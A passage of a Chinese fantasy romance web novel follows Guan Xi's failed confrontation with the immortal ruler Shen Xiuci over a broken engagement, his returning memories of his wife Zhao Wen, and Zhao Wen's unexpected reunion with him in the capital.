虽样貌完全不同,可神态是一样的,无需多言,关曦仅凭一眼,就将他和沈修慈这个名字对应。
他看上去云淡风轻,狭长的眼眸中,一派从容冷静,完全不是被药控制的状态。
关曦心跳加快,想着下药失败,身体僵硬的站在不远处。
她不确定的喊着。
“沈道君……”
沈修慈摊开手,对面的长凳,邀道:“殿下,请坐。”
关曦听到他对自己的称呼,在原地站了几秒,嘴角向上扯出一个嘲弄的笑,语调一沉。
“看来,你早就认出我了。”
沈修慈也提起嘴角,轻声道:“殿下的玉佩很别致,并未对我刻意隐瞒,我以为,你也心知肚明。”
系统听到他的话,更是直接乱成一团代码。
系统慌张:“怎么办啊大小姐,他没有喝药,还早就认出了你,那我现在来不就是打草惊蛇了吗?大小姐怎么办?快想想办法啊!”
“闭嘴!”关曦想起先前被它误导,现在它又出言添乱,烦躁切出界面,强制让系统闭麦。
这系统真是太会自作聪明,说什么蓬莱远居渤海,从不介入仙域内政,沈修慈不认得蓬莱的令牌。
亏得她相信了它的胡言乱语,现在看来,那些都只是系统毫无根据的臆测而已。
还好她早有准备,这种情况,在她的意料之中。
认出来又怎么样,她照样有办法。
关曦丝毫不慌,施施然坐下,“君上既然认出了我,难道不打算给我一个解释吗?”
43. 色厉内荏
沈修慈听到她的质问,也不慌不忙,道:“若是要解释,我已将悔婚书交予蓬莱,殿下若是没看,回去后可自行过目。”
关曦不依不饶:“我不管那些,那是昆仑对蓬莱的解释,但联姻的人是我和你,这是我的终身大事,我需要你给我一个合理的解释。”
她着重强调了我和你的重音,清脆的声音当中,无形地透露出一种逼迫的压力。
沈修慈波澜不惊,从容应对。
“你我都明白,此次联姻是为了什么,无关你和我。”
“你……”关曦心中憋屈,见逼迫不成,便放缓了语气,脸色也一变,柔柔道:“我知道,你是因为魑魅之祸才下界的,虽和婚期冲突,但我好歹是你未过门的妻子,你大可以跟我说,再修改婚期就是了,为什么要悔婚呢?”
“再怎么说,我也是你天下皆知的妻子,我不接受就这样悔婚的行为,你得给我一个说法。”
沈修慈打断她:“你和我之前,并未成婚,还请殿下慎言。”
关曦不满:“未过门的妻子,这样总行了吧。”
沈修慈冷淡道:“蓬莱已然接纳了我的悔婚书,曾经的婚约已然作废,殿下此言何据?”
关曦被气得噎了一下,实在是没招了,委屈道:“……你一定要这么跟我说话吗?”
沈修慈:“有何不可?”
关曦的脾气噌的一下上来了,瞪大眼睛,眼中已经有了怒意。
沈修慈用平淡的语调提醒道:“君臣有别,既然身份已明,还望殿下自重。”
关曦顿时感到一股无形的压迫笼罩而来,那是一种难以言喻的上位者气场。
这句话点醒了她,她这时才有些懵懂的察觉出,沈修慈身上所散发出来的这一微妙的感觉。
沈修慈不仅是她的攻略对象,更是手握君权的人,关曦纵然心有不满,也被横亘在面前的事实给憋了回去。
她现在的身份和沈修慈差一级。
沈修慈的态度已经很清楚了,若她是来劝他回去,撤回悔婚书,还想要继续完婚的话,那没得谈。
他已经不承认他们之间的婚约,也摆明了要和蓬莱划清关系:他们的姻亲关系已经结束了,现在只是君臣。
关曦来找他的本意,是想要看着他成功被下药,从而失去理智供她摆弄,谈判并不是她的强项,现在的所有走向都对她不利。
眼前的局面也已经很分明了:现在并不是她的主场。
关曦心中不服,换了个方向击打:“那既然是两山之间的公事,你只递一张悔婚书,连面都不露,是不把蓬莱旧老放在眼里吗?”
她下药这一手段没有得逞,还被剥夺了主导权,她也只能退而求其次,先不执着于让沈修慈答应撤回悔婚书,从而跟她完婚,而是逼沈修慈跟她回去,再从长计议。
沈修慈不紧不慢道。
“殿下也说了我此次下界是为了魑魅之祸。”
“蓬莱并非王姬一人说了算,若是为平魔域外乱,等回去后自有交代,想必蓬莱的各位也应当能够理解。”
关曦气的咬牙。
不答应跟她完婚,可以,本来好感度也还没有到那个地步,只是连跟她回去都不答应是怎么回事?
关曦人生顺遂,从来就没有遇到过摆不平的事,她还就真不信邪,和沈修慈杠上了:“魑魅之祸已平,你还留在人间做什么?”
沈修慈目光上抬,静静地望向她。
“我很好奇,关姑娘是如何得知我下界的消息?你与岑源并无瓜葛,短短几天,似乎不足以让他对你推心置腹,透露我的行踪。”
岑源确实没有告诉她,但偏偏此时她也不能诬陷岑源,一旦沈修慈回去与岑源对质,她的谎言便会不攻自破。
她能找到沈修慈,全靠系统对攻略对象自带的定位追踪功能,但这一点是绝不能透露的。
关曦感到紧张而棘手,勉强解释道:“我、我并不清楚你的行踪,能找到你,纯粹是巧合。”
话一出口,她便感到后悔,这样的解释连自己都觉得牵强,沈修慈又怎会相信?
然而,沈修慈听后并未继续追问,反而似乎有意为关曦留下退路,露出一个轻笑:“看来我与关姑娘,确实有缘。”
关曦难以置信地望着沈修慈,心中既有逃过一劫的庆幸,又混杂着几分疑惑。
他接着又说:“只是你千里迢迢来找我,故意与我同行,却不挑明身份,与我共处半日有余,还给了我这碗东西。”
沈修慈说着,手中凭空出现了一碗已经冷却的汤。
关曦听闻此言,心中本就有些不安,再见他手中的汤碗,瞳孔不由得微微紧缩。
沈修慈微微挑起眉梢,面无表情的询问道:“不知……这是何意?”
“我不明白你的意思。”关曦尽力保持镇定,解释道,“我听到你要跟我悔婚的消息,我太着急了,所以我才想要找你,想要一个解释,仅此而已。”
“没有挑明身份是因为,我以为你当时并没有认出我,又有外人在场,我怎好自爆身份?只好将错就错……我一直视你为我的未婚夫,对你,我绝无半点恶意。”
关曦又看向他手中的汤碗,辩解:“这只是一碗汤而已,并没有什么问题。”
沈修慈:“那你敢喝吗?”
关曦:“……”
见她语塞,无法作答,沈修慈继续说道:“我不日便会返回昆仑,与蓬莱山主妥善处理此事,定会给你一个交代。”
话已至此,关曦还能说什么?
她本不是那种喜欢硬碰硬的人,她的一生太过顺遂,她所选择的道路和人物,都是她能够掌控的,还从未遇到过如此棘手的挑战。
她之所以敢与沈修慈争执几句,不过是因为她心中不甘,不想要太丢面子。
然而,当面对超出她能力范围的事情,面对她无法压制的人物时,她的本能告诉她应该畏惧,应该退缩。
她知道,她的强势只是表面,就像是一个气球,只要一戳就破了,而沈修慈却是方方面面都强势。
她的小伎俩,在他面前根本不够看的。
关曦的胸口急剧地起伏了几次,脸色变了又变,最终,她还是咽下了这份不甘,挥袖起身,头也不回地离开了这个地方。
……
在听不见她的脚步之后,沈修慈反手倒掉了那碗汤。
他徒手画了一张符,金光微微闪烁了几次,对面的岑源声音随即透过虚空传来。
那边的岑源先是嗯了一声,显露出一丝惊讶和疑惑,紧接着便是一声释然的叹息,他语速飞快道:“君上?!哎呀,无量天尊,可算是回信了,可叫我好等。”
岑源好不容易又联系上他,正想要跟他诉苦,却冷不丁听到他那边语气平淡的说了一句:“我找到她了。”
金光符安静了下来,岑源一时语塞,片刻后才小心翼翼地问道:“找到了?”
他试探道:“那、那便把人带回来,把同心印解了,说不定蓬莱的事还能有所转机?”
沈修慈:“联姻的事情就此翻篇,以后也不要再提。”
岑源立刻话音一转:“额……也确实,这同心印也的确不太好消除,既然已经找到了夫人,那联姻此事不提也好,不提也好……”
“那女子是怎么样的人?君上你想起来你们之间的过往了吗?”
岑源的声音中透露出按捺不住的兴奋和好奇。
沈修慈的回答简单而淡然:“记起了一些,但不多。”
岑源立刻接话,语气中带着宽慰:“无妨,既然已经找到了人,那便好说了。”<
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p>“我最近也对失忆之症略有研究,这失忆呀,要想恢复,最有效的方法就是和以前熟悉的人多多接触,既然有这女子陪在君上身边,恢记忆的恢复只是时间问题,不必过分忧心。”
沈修慈凝重道:“先不说这个,我在人间,恐怕还要耽搁几天,仙域情况如何?”
“不是我说,情况真的有点不好。”岑源的语气恢复了严肃,汇报道:“白昊山这两日不知怎得,动作频频,已经开始明目张胆的屯兵了,我怀疑是有人走漏了您下界的消息,所以他才会这么嚣张,估摸着想要攻其不备,向您发难。”
“不过,即便真的发生冲突,有您事先的布局,倒也不惧。”
“蓬莱那边,目前还算平静,但情况比白昊山更为棘手。他们在收到悔婚书后,派遣了几位使臣前来协商,并提出了一些新的条件,显然是打算狠狠地敲我们一笔。没有您在场决策,我也不敢轻易应允,只能推说需要进一步考虑。”
“这些事务都积压着,等待您回来亲自处理,恐怕最多只能拖延三天。”
沈修慈点点头。
这些都和他想的差不多。
他说:“三日足够。”
“把白昊山盯紧,没有名正言顺的理由,他暂时不会动手。”
岑源应了一声:“哦……”
沈修慈接着追问:“是谁走漏了我下界的消息,你有头绪吗?”
岑源苦恼的嘶了一声:“……除了我,谁知道这事呢?”
沈修慈询问:“你今天是否去过小银钩?”
岑源回答:“哦,王姬殿下昨日就离开了,说是回蓬莱,要等一个说法,怎么了?”
“她下界了,还特意找到了我。”
沈修慈话音落下,那头,岑源陷入了长久的沉默,仿佛在努力思考,泄密这事是怎么和蓬莱的王姬产生联系的。
过了好一会儿,他才犹疑开口:“是她?”
沈修慈回应,否定道:“她虽然知道我的行踪,但并非是她泄露的我的消息。”
岑源松了一口气,好险,还好不是那位王姬泄的密,就在刚刚,他差点连辞呈该怎么写都想好了。
只是听到沈修慈的话,他语气越发摸不着头脑,追问道:“那会是谁?”
沈修慈思路清晰道:“魔域那只位列魑魅的白毛蜘蛛,还有她手下的傀儡鬼,借人之手拿到了禁阁失窃之物,在霜澜城作乱,欲成为新的魔主,他们最先得知我下界,几次三番针对我,欲将我除之而后快。”
“现在三界之内,谁最想除掉我?”
岑源瞬间领悟:“您的意思是……”
“盯紧点,有任何异常,随时向我汇报。”
那边简洁地应了一声,随后,金色的符文如同水波般悄然隐去,消失在空中。
……
暴雨来势汹汹,却不长久,直至子夜时分,终于彻底停歇,只留下檐角滴落的雨滴声。
三更天,万籁俱寂,沈修慈静坐在昏暗的桌前,室内只有一盏摇曳的灯火映照。
在昏黄的灯影下,四周仿佛沉浸在深秋的萧瑟之中,而他,就像是一抹不合时宜的洁白,那雪色的衣衫在暗淡的光线中显得格外醒目。
窗外,夜色如墨,偶尔有几声虫鸣,穿透黑夜。
远处,打更人敲击更鼓,声音沉稳悠长,在空旷的夜空中回荡。
第三声更鼓落下,沈修慈眼眸缓缓轻眨,看向对面。
关曦走的时候并没有关门,而是怒气冲冲地将门推到最大,摔门而去。
对面就是朝玟的房间,她和他谈完之后,回到了房间里面,沈修慈能够听见她将房门紧闭的声音。
他平淡的盯着对面那一扇紧闭的木门,将五感扩到最大。
门后是一片死寂,没有一丝声响泄露出来。
44. 鬓边步摇
暴雨过后,窗外叶片上的水珠缓缓滚落,发出嘀嗒嘀嗒的声音,如同断线的珍珠,一声声清脆而连续,不绝于耳。
沈修慈站起来,缓缓走向门边,推开房门。
房间空荡荡,却处处都透露着被人居住过的痕迹。
空气中飘散着皂角的清香,地上还有湿漉漉的鞋印痕迹,墙壁上挂着潮湿的水汽,仿佛还能透过这些,能看到之前有人曾在这里梳洗,趿拉着鞋子走来走去。
屏风后,便是客房的卧床,还有人睡过的压痕,被褥蓬松柔软,凌乱的掀起一个角,像是起身后来不及叠,又或者只是忙乱中忘了整理。
沈修慈有意放她走,此时真的完全一点也感受不到她的踪迹了,心中无端的恐惧又显现了出来。
他感觉呼吸不畅,闭了闭眼眸,在确定房间已空之后,彻底确定了她已经不在的事实。
可随着心中的确定,他却仿佛产生了某种荒诞的幻觉,各种嘈杂的声音同时在大脑中迸发,令心神震动。
他闭了闭眼,缓神片刻,又再次睁眼,枕畔有一件物什忽然亮了一下,晃到了他的眼睛。
他的视线随即看向枕畔,那是一枚小巧的掐丝银簪,中间镶嵌一颗宝石,光泽偏绿,静静躺在床垫上,似一汪小小的清潭,和朝玟整体碧绿清新的穿衣风格很是相称。
他拾起,拿在手中端详。
初见朝玟时,他便发现她很注重打扮,发髻的样式十分的精致,与神旋府的仙娥不遑多让。
整体衣着也和各种细节相得益彰,两滴水滴似的青玉,坠在小巧饱满的耳垂上,散发着柔和的光芒,整个人就像是一颗朝气蓬勃的嫩芽。
朝玟虽然不甚拘泥于细节,却始终仪容得体,即便头发上的辫子只是略显松散,她也会细心地都重新梳理一遍。
晚上,她刚梳洗完并未编发,走的时候,她的那些首饰应该都只是随手放入了包裹里,并未细查。
因此簪子遗落在了如此明显的位置,她也毫不知情。
又或者她知道,却因为想要快速离开,所以顾不上再将簪子收回去。
朝玟听懂了他的弦外之音,她离开了。
她很聪明,自然知道那碗汤的不同,她推断出了他一定会被关曦绊住,自然要把握住这难得的时机。
沈修慈捏着簪子,沿着床沿坐下,目光落在上面精致的花纹和宝石上面。
他的脑中浮现出今天上午,在停靠港口时,朝玟站在船边,和他的对话。
那时候她的表情虽然不算认真,可朝玟答应过他,不会对他说谎。
所以在她承诺之后,她说的都不是假话。
朝玟的话都是真的。
他们是夫妻,关系或许亲密,但却并非真正的爱侣。
他们并不相爱。
所以沈修慈觉得,既然不是因为爱而在一起的话,那也没有什么必要再纠缠下去了。
他下界的理由之中,并不包括要为朝闻停留。
三个月前,一种不安恐惧的情绪连同体内突然出现的神秘血线一同涌现。
那是一种既堕落又沉沦,既空虚又窒息的感觉,一旦深究,便仿佛会被其吞噬,溺死于无尽的深渊。
以往,这种莫名的躁动总是在他内心深处咆哮,如同狂风巨浪般汹涌,但沈修慈始终如同旁观者,冷眼看着它的狂乱,不为所动。
但是这一次,他想要尝试忽略掉这一抹感情,却发现他做不到了。
他心生恐惧。
这恐惧,不仅仅是因为朝玟的离开,更是种难以言表的复杂情绪。
自从他遇见朝玟,不知是从什么时候开始,他有很多个瞬间都几乎忘记了他是谁,他究竟要做什么。
他想起和朝玟上药时的样子,她乌黑的发丝拨拢向前,露出脆弱的后颈,后背单薄,蜷缩着双腿,任他的手指在背上轻触,时不时有一搭没一搭回应他的话,虽然抗拒又别扭,但从不冷落他。
她对他完全没有任何防备。
他只要想象他也曾被她如此信任,便感到指尖灼热,心如火烧。
沈修慈最初并不能认同,他已经是另一人的夫君的这样一个身份。
对他来说,他与另一人成为夫妻,是他难以想象的,他也从未想过他会爱上谁,这一概念对他而言既陌生又遥远,与他格格不入。
但是就在那一瞬间,他意识到,他确实曾经担任过一个丈夫的角色,他确实与朝玟是夫妻,他和朝玟之间,建立了一种他从未敢奢望的亲密关系。
朝玟就好像一面镜子,让他得以窥见他不曾想象过的另外一面,他惊讶,原来他也能与另一个人共享如此轻松的时光。
那些不经意的肢体接触,对方话语末尾轻扬而甜美的语调,以及只需一个眼神就能心领神会的默契,仿佛他们已经这样相互凝视了千万次。
这一切都让他感到熟悉,又惶惶不安。
这真的是他能够拥有的吗?
沈修慈在这个瞬间,无比荒诞的产生了一个想法:朝玟是一个幻觉,是他被各种异常弄疯了的臆想。
毕竟人海茫茫,同心印又不知为何失联,他从最初并没有能够奢求找到她。
然而,朝玟的真实存在,令他内心既感满足又不免忧虑。
幸好,她对他很吝啬。
哪怕总是会下意识的从她的眼中和各种细节中流露出一些他从不曾奢望过的亲密,但是朝玟总体却还是保持着疏离,对他敬而远之。
朝玟曾很清楚的说,他们只是利用,没有感情。
这也让他保持着一种自虐般的清醒,在与她共度的每一刻,他都能在情感即将沉溺之前,及时抽身而出,不至于被心中那股愈发暴虐的情绪拖入深渊。
他很清楚,他不该再浪费时间了,他分得清,孰是孰非,孰重孰轻,也并非不讲道理的死缠烂打之徒。
此时万籁俱寂,他心如明镜,但眼前却雾蒙蒙的一片,夜色中的一切都模糊不清,银簪在他的手中也失去了明晰的轮廓,他眨了眨眼,但情况并没有所好转。
眼睛仍在继续的失去焦距,有失明之感。
这样的征兆他很熟悉,先前在食肆之中,也曾经发生过一次。
但失明的情况仅仅只出现了几秒,紧接着他的眼前出现一段清晰的画面。
像是幻觉,但是他知道这不是幻觉,这只是一段记忆。
……
画面之中,一名女子衣着端庄得体,发髻犹如层层叠叠的云雾,正在镜子面前拿一朵绒花,在头上比比划划,眼看着就要戴上了,下一秒又换成了一支步摇。
她苦恼的叹了一声,嘟嘟囔囔几句,又矜持道。
“你帮我选一个吧。”
他坐在不远处,面前放着一杯茶,手上拿着一卷册子。
手中明明是重要的公务,但他只看着她的背影,以及镜子中倒映的半张脸,半晌都没翻过一页。
那是一张他从未见过的脸庞,眼尾略微上挑,眼眸澄净清澈,妆容恰到好处地勾勒出她精致的五官,面无表情时,有几分骄矜的傲气,但是笑起来,眼中又会荡漾出令人陶醉的促狭之色,显出几许鲜活俏皮。
直等的她问他了,他才不急不缓的说:“绒花就很好,很衬你。”
“可会不会太轻佻了?”
她显然对她自己有一些误解,明明喜欢的就是绒花,但还是将那一朵花放进了匣子里,决定道:“还是步摇吧,稳重,压得住。”
她站起来,将衣服抚平,双手交叠在宽大的衣袖之中,对着镜子又照了照,在感觉没有任何的错漏之后,这才满意的对着镜子笑了笑。
她转身看向他。
妆容、姿态以及着装,没有一处不得体。
她对他笑,红唇翘起,但笑容却似乎蒙上了一层薄薄的纱,失去了几分真挚的温度,上扬的弧度像是经过精心计算的,眼中也多了几分他所不明白的期待。
他收回了看向她的目光,反而认真的翻阅手中的薄册。
她的真实只存在于他的窥伺之中,再投去目光,没有意义。
但是她走了过来,站在他身边,他就又不由自主地再次关注起她来。
那人张开双臂,衣袖滑落,露出了精致的滚边,她轻声询问:“好看吗?”
“嗯。”
他抬起头,轻嗯一声,他无法控制自己不看她。
在和她的含着笑意的明眸对视的一瞬间,他也勾起嘴角。
他无法控制自己不对她笑。
那人这才满意,她窃喜了一下,翘起一边的嘴角,头微微前倾,做出倾听的姿态,似乎还想要听到某些令她满意的声音。
他于是又说:“很好看。”
但是她并未露出满意的神情。
只见她定定地、带着几分不甘地凝视了他两秒,眼中有一抹失望飞快闪过。
身后有仙侍叫了她一声,她就垂下眼眸,拖着长长的衣摆,哦了一声,算作对他夸赞的回答,接着转身离开了。
他的眼睫轻轻颤动,心底涌起一股难以名状的感觉,随着她转身而去的身影,快的来不及捕捉。
只感觉视线像是洒落一层灰色,连带着她渐渐走远的身影,也变得像是蒙上一层灰尘一般,黯淡起来。
在回忆结束的最后,他目光再落回到手中册子上,上面的字被模糊成污渍一样的色块。
……
他斜倚在床边,目光仍旧专注于手中的那枚掐丝银簪,脖颈低垂,静静地,一语不发。
这段回忆,比起之前零星的几个片段,要更加的完整。
倘若说之前朝玟多次隐瞒他下界,他所产生的感觉是失落的话,那么这一次,在他想起的这一段片段时,他的感觉,则是一种很淡但却很悠长的难过,就像是遇见了一场细雨,不知不觉让整个回忆都染上了斑驳。
朝玟的确没有撒谎。
可他也忽略了很重要的一点。
不相爱这个结果,是需要彼此互相确认的。
在这一段记忆恢复之前,他从没思考过,在他和朝玟的这段关系中,是他先深陷其中的可能。
他们并不是不相爱。
只是朝玟不爱他。
就像是那一只被她戴在头上的步摇,看上去是朝玟选择了它,但其实她喜欢的是那一朵被她遗弃的绒花。
她永远不会在他面前展露她真
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正的喜好,无论是物,还是人。
就像她选择步摇而非绒花,她在他面前所做的每一个决定,都并非她真正的本意。
她虽然总是想要向他表达亲近,但每一次靠近之后,紧随其后的,就是一种自然而然的疏离。
就像是回忆的最后,她对他的敷衍,以及毫不犹豫离去的背影。
沈修慈觉得,朝玟说得对,是该及时止损。
他自认为做出的决定是理智的,并非盲目之人,亦不会因一己之私,固执追逐,不顾他人感受。
可是他始终没有放下那一根被他捏在手里的银簪,眼眸之中有黑沉沉的复杂情绪在此消彼长,彼此吞噬。
正当他下定决心,决定放下的时候,那令人目眩的错觉再次浮现。
然而这一次,他眼前的景象并未出现剧烈的变动。
他的目光仍旧锁定在自己的掌心之上,唯一的不同,是那原本银亮的簪子竟染上了鲜艳的红色,宛如血液缓缓渗透进银质的簪身。
他怔忡松开手掌,簪子掉落在地上,发出啪嗒的一声清脆的响声,上面的血色随之褪去,而他的手心中,多出了几根半透明的鲜红的细丝。
它们从一根,变成了如今的一簇,犹如发丝一般,垂直的落下,紧紧缠绕那根银簪,仿佛试图通过这样的方式,来重新烙印某人的气息。
沈修慈这时才意识到,他刚刚竟然被这些东西给影响了。
过去只要他忽视,这血线便会如不满的潜流,在他血液中激荡,却从未真正撼动他的心志。
然而,自从他寻得灵骨,辨认出朝玟之后,他感到一种前所未有的失控。
他再也无法像以往那样,对自己体内新增的那股莫名的、毁灭性的情绪保持冷漠的旁观。
随着他无法再对这份情感置身事外,他的记忆亦如被唤醒的睡狮,逐渐复苏。
沈修慈眼神复杂地收敛心绪,同时将体外蔓延的红线一一收入体内。
以往他能够轻松做到,但此刻却缓慢又艰难,直至身体再无任何异常迹象,他的额角也布满了细密的冷汗。
只尽管外表看似与往常无二,但他内心那种空洞的感觉并未得到丝毫减轻。
相反,它像是被火烧穿的纸张,那燃烧的火点不断向四周扩张,蔓延成一片难以言喻的荒芜。
……
京城这几日没什么变化,由于中秋临近,还更热闹了些。
船只一靠近码头,朝玟就轻快的跳下了船,迫不及待的沿着码头一路小跑,穿过熙熙攘攘的人群,耳边是各种早饭的香气和摊贩的叫卖声,她雀跃地穿过熟悉的街巷,回到了千里记行。
一进门,她就直接摊在了郑舒用来接待客人的茶桌前,四周的一切都让她感到无比的舒适和亲切,从摆放整齐的茶具,到那散发着淡淡木香的桌椅,每一处细节都让她心生暖意。
朝玟放松又舒适的谓叹了一声。
她一晚上没睡,从驿站离开后,直到现在安生的坐在这里,她都不敢相信沈修慈竟然真的就这样让她走了。
也不知道沈修慈提到关曦给的那碗汤,是不是她想的那个意思。
关曦这个队友,果然靠谱。
无缘无故,送什么汤啊,那碗汤肯定不一般。
沈修慈没喝,还敞着门,肯定是在等关曦。
等她干嘛?以他的性格,怎么能够忍受被关曦绊住手脚?他也厌倦了被当傻子对待。
所以,等到关曦再来,肯定是和她摊牌呀,可沈修慈先退婚在先,这一次对峙的结果,很有可能是他被关曦劝说成功,带回去。
但不论是什么结果,沈修慈既然要和关曦对峙,肯定一时半会儿无法脱身,正是千载难逢的时刻。
无论沈修慈是不是真的那一瞬间想通了,但既然肯当大漏勺给她放水,不走她才是那个大傻子。
朝玟躺了一会儿,想着得快点离开京城,换一处安生,临走之前,得跟郑舒告个别,便对着隔间的门叫了两声。
“阁主?阁主主主主——”
一位青衣男子从里屋信步走出,郑舒的气质清雅,宛若一位俊秀的书生,面上带着几分不耐,看见朝玟,语气极差道:“叫叫嚷嚷的干什么?”
“我回来啦,”朝玟臭屁道:“看到是我,满意吗?”
郑舒冷哼:“不满意。”
朝玟:“你对别的客人也这样不耐烦?”
郑舒反问:“你是客人吗?”
“那你怎么一出来就臭脸?你可要当心,像你这样老了以后很容易长皱纹的。”
郑舒嗤笑:“除了你,还有谁这么没规矩敢躺我的椅子,还发出这样的死动静?”
“在外面别叫我阁主,丢脸。”他脸挂着上真切的嫌弃。
朝玟从他的躺椅上溜达下来,双脚落到地上,眼睛巴巴的看着他:“我好不容易从霜澜城那样危险的地方回来了,你都没什么话跟我说?”
“有。”郑舒:“给你垫的路费,你自己报一下。”
朝玟垮下脸。
郑舒无所谓的说完,便又要转身进去,对朝玟说:“我在接待贵客,可没功夫管你,你有什么事,稍坐一会儿吧。”
45. 堂内贵客
朝玟:“我不坐了,我是来给你告别的。”
郑舒转过半边身都要进门了,听罢,又扭过头来,询问的重复了一遍:“告别?”
朝玟见郑舒感到突然,也有些不好意思:“对,我决定走了,离开这里,短则数月,长则数年,换一处地方住,等住腻了再回来。”
郑舒慢悠悠的点了点头:“行,不管走不走,先把钱垫上。”
朝玟有些气恼地用鼻孔重重地呼出一口气,一点离别的愁绪都没了,不满地嘟囔道:“就知道钱钱钱。”
“哦,对了,你再给我开点药,我现在身上哪哪儿都不舒服,出去一趟还不小心中了幻术,到现在都头晕。”
朝玟靠回气丹勉强维持一口气,这才看似无事地撑到了回来。
此刻药效也差不多退去,身上大大小小的伤痛又都暴露了出来,朝玟揉着太阳穴:“听人说……我这头晕的症状是离魂,你这有能缓解的丹药吗?给我来两粒。”
“离魂症?”郑舒冷冷轻笑一声:“怕是吃药也难好。”
朝玟:“……我没救了?”
“死不了,只要魂魄不再受创伤,养数个月,自然就好了。”
朝玟面露难色:“这么久?”
“也有快的方法,找个仙者帮你蕴养魂魄,十天半个月就能好全。”
“听起来挺麻烦的。”
“凡人伤到了魂魄,不死就已是万幸了,还指望什么?劝你还是先别着急上路,好好养伤。”
朝玟认真考虑他的话,若有所思。
郑舒斜靠在墙上:“既然先不急着走,那就先帮我搞定一个人,恐怕要你出点力。”
朝玟不疑有他,点点头,“什么人?是你正接待的那位贵客?”
她去霜澜城临走之前才答应过,只要郑舒开口,她就会帮忙的。
“是啊。”郑舒也没绕弯子,“他是秘密出访,近日要在京城待上几日,在外住客栈怕是不方便。”
“你的那宅子地方僻静,距离千里记行又近,我想着不如就安排他到你的府上小住几日,你替我招待好他,我也放心。”
“平日可不曾见你对哪位客人如此用心。”朝玟听出了他话语中的深思熟虑,甚至带有一丝罕见的谨慎,调侃了一句,一口应道:“好吧,难得阁主您亲自开口,平日里灵闻阁待我不薄,我理应为阁主分担一二,尽一份绵薄之力。”
郑舒又轻笑一声,嘴角勾起些许满意的弧度,懒散道:“还算有些良心。”
说罢,他打开隔间的门。
就这么一个小小的铺子,当推开里间的房门,竟意外地通向一个宽敞而雅致的宅院。
青砖铺就的小路引领前行,中心位置是一个巨大的金鱼池,波光粼粼,池水清澈。
池中央矗立着一座精致的亭子,四周环绕着长廊,随着秋意的渐浓,庭院中的草木染上了淡淡的焦枯之色,秋风轻拂,落叶如雨纷飞。
这里布景雅致,处处都有讲究,一看就知道,这宅子的主人很懂得享受生活。
郑舒闲庭信步,一脚踏上青石板,朝玟走在他身后,一眼看到池子边随手放置的鱼篓和渔具,指着问道:“阁主,您还有这爱好呢?”
郑舒听她客套,随口邀道:“不常钓,只是入秋了,正是钓鱼的好时候,这时候鱼又大又肥,改天一起啊。”
朝玟摆手婉拒:“不了,风吹日晒的,我可钓不来。”
二人走上回廊,郑舒对朝玟轻描淡写的提醒道:“这位可是个大人物,待会见到了,客气些,我不让你出声,你就不要出声,切勿多嘴。”
朝玟挑眉,哟了声:“身为与昆仑殿齐名的灵闻阁的阁主,还有你认可的人物呢?”
郑舒冷哼一声,笑而不语。
朝玟瞅着他,追问:“说的我都有些好奇了,那人是谁啊?”
郑舒声音清朗,自带一股随意慵懒的语调道:“一会儿就见到咯。”
走了一会儿,终于到了会客的厅堂。
好家伙,在寸土寸金的京城还能拥有这么大的豪宅,真是有实力。
由于朝玟身上带着伤,步伐略显缓慢,不自觉地落在了郑舒的身后。
郑舒比朝玟快几步上前,只听得他轻松笑了两声,对等候的人朗声说道:“仁衡,让你久等了。”
……
朝玟听闻郑舒对那人的称呼,本已抬起准备跨过门槛的脚突然凝固在空中。
她满眼惊愕地望向郑舒口中的那位贵宾。
在八仙桌旁,一位身着素白长衣的男子端坐主位,身姿修长,面容浓艳而引人注目。
世人皆说沈修慈是个英明仁慈的帝王,但他本人眉眼间流露出淡然而又凌厉的气质,却散发出一种与“仁”字格格不入的肃杀之气,但他抬眸之时,眼中亦有一种超然物外的淡漠和悲悯。
这两种气质很矛盾,但是又偏偏在他的身上实现了自洽。
论及杀伐决断,无人能出其右,他手持长剑封印魔主的壮举无人能及;而谈及治理天下,也无人能如他一般,赢得仁君的美誉。
这样的人,即便是纵观整个三界,也难以找出第二个。
仁衡是沈修慈的尊号,郑舒叫的,可不就是沈修慈吗?
朝玟怎么也没想到能在这遇到沈修慈,一时愣在原地。
郑舒对朝玟介绍道:“快见过仁衡仙尊。”
郑舒看她幽幽的盯着沈修慈,还一脸的震惊出神,轻轻咳嗽一声,小声提醒道:“叫人。”
朝玟回过神来,没听郑舒的,而是看着沈修慈问:“……为什么你会出现在这里?”
“他为什么不能出现在这里?”郑舒站在两人的中间,反问一句,才后知后觉,看看沈修慈又看看朝玟,眯眼:“你们认识?”
沈修慈先是对朝玟点点头,接着对郑舒微微一笑,回答道:“确实相识,我下界所发的紫卷订单,就是朝玟姑娘替我带的路。”
郑舒恍然:“哦,原来那个豪掷千金的单主是你呀,我说呢,是谁能有如此财力。”
沈修慈淡然道:“北上的路途凶险,朝玟姑娘也因此而差点丧命,五千金,对于一条人命来说不算什么。”
郑舒轻声一笑,拉着略显不情愿的朝玟落座,说道:“既然你们已经如此熟络,那事情就好办多了。”
他看向沈修慈:“我仔细想过了,仁衡你毕竟是秘密下界,行踪不易张扬,所以我觉得,还是把你安排在自己人的地方比较妥当。”
“我已同朝玟商量好,她也同意你在她那暂住几日,待会你就可以跟她回去,要什么,都和她说就好。”
“她办事妥当,你大可放心。”
朝玟现在才知道她被郑舒坑了,暗自咬牙,瞪了他一眼。
郑舒坐在一旁,完全没看到朝玟幽恨的眼神,只与沈修慈交谈。
听着他们客套的交谈,朝玟坐在一旁坐如针毡,顿觉后悔,她就应该在看到沈修慈的一瞬间掉头就走。
如今坐在这里了,反倒是进退两难,她既不想面对沈修慈,但也不想驳了郑舒的面子。
虽说这是私人的会面,但他们一个是仙域之主,一个是灵闻阁的阁主,也算得上是两位大佬会晤。
再说,郑舒不知道她和沈修慈之间的关系,她也不想让他知道,所以现在,她只是一个小小的代驾,她对沈修慈的满肚子的那些质问,也不能当着郑舒的面说。
朝玟郁闷,就用自己的行为表示不满,他们讲话的时候,她就发呆,
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时不时的玩一下盛雪茶的茶气。
一闪一闪的结晶从热茶中升腾起来又消散,色透白如冰,朝玟呼的吹一口气,杯子表面的茶水被吹动起波澜,茶气也散开。
朝玟觉得好玩儿,用力吹了一口气,结晶飘到对面人的手边,一闪一闪的消散。
沈修慈扣在桌面上的手指微微一动。
郑舒的话音刚落,他便轻轻放下手,双手平放在膝上,微微点头说道:“既然阁主已经答应了我的条件,我也不便再多做叨扰,不如今日就到这里吧。”
朝玟眨眨眼。
郑舒应道:“也好,此事事关重大,也容我再斟酌一下人选,这几日之内,一定给你答复。”
可算是谈完了。
朝玟跟着他们站起来,心中长长舒了口气。
郑舒余光一瞟,对朝玟说:“对了你刚刚不是嚷嚷着身上疼吗?仁衡已经给你买好了。”
